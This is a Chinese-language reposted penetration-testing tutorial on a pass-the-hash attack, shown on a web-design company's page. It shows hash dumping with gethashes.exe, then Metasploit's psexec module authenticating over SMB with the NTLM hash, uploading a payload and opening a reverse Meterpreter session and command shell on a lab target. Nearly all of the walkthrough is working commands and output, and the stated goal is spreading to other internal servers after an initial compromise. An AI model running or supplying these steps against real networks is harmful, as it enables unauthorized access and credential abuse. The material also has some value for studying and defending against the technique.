网站建设行业文章4
当前位置: 首页 -> 企业资讯 -> 行业文章 -> hash传递入侵
鸿大千秋新闻顶部侧栏



hash传递入侵



现在的网络管理员安全防范意识可谓越来越强.一个复杂的密码是必然的.那么在渗透中,如果我们拿到了管理员的HASH,缺怎奈硬盘小、带宽低、配置烂,无法成功破解出来,怎么办呢?
直接发过程了…网上关于HASH传递攻击的文章较多,就不说了。这里演示的一个情况特别适用于内网渗透,当我们获得一台服务器的管理权限后,继续渗透内网其他服务器.
必 不可少的都会先获取到本服务器的管理员密码再用来尝试目标服务器,可是当破解不出的时候怎么办?我们就可以采用HASH传递攻击.直接使用HASH登陆目 标主机,因为我们知道电脑本身需要的就是我们提供一份合法的具有权限的HASH,那些复杂的数学运算、加密,咱才不会咧~
废话不扯,演示开始,首先,我在我的PC(假设为目标主机)
新建一个isosky用户,并为之设置密码,然后通过各类软件获取到HASH

C:/>net user isosky test
The command completed successfully.
C:/>gethashes.exe $local
Administrator:500:0A174C1272FCBCF7804E0502081BA8AE:83F36A86631180CB9F5F53F5F45DFB2B:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
isosky:1003:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

然后我再返回我的BT虚拟机(攻击者主机)使用MSF进行测试,MSF自带的PSEXEC模块具有HASH传递攻击功能

root@bt:~# msfconsole
msf > use exploit/windows/smb/psexec

msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admin share(ADMIN$,C$,…) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentic ation
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
— —-
0 Automatic

msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required
Description
—- ————— ——– —–  ——
RHOST 192.168.0.254 yes The target address
RPORT   445               yes  Set the SMB service port
SHARE   ADMIN$          yes The share to connect to, can be an admin share (ADMIN$,C$,…) or a n ormal read/write folder share SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 no The password for the specified username
SMBUser isosky no The username to authenticate as
Exploit target:
Id Name
— —-
0 Automatic

msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user ‘isosky’…
[*] Uploading payload…
[*] Created /UGdecsam.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[/svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[/svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (MZsCnzjn – “MrZdoQwIlbBIYZQJyumxYX”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Removing the service…
[*] Closing service handle…
[*] Deleting /UGdecsam.exe…
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

meterpreter > sysinfo
Computer : ISOSKY-PC
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : zh_CN
Meterpreter : x86/win32
meterpreter > shell
Process 4596 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:/WINDOWS/system32>net user
net user
User accounts for //
——————————————————————————-
Administrator  Guest isosky
The command completed with one or more errors.
C:/WINDOWS/system32>

至此,我们已经成功获得目标的CMDSHELL 是不是非常简单?

本文摘自落叶博客由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.



鸿大千秋网站建设团队敬上







Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有


联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号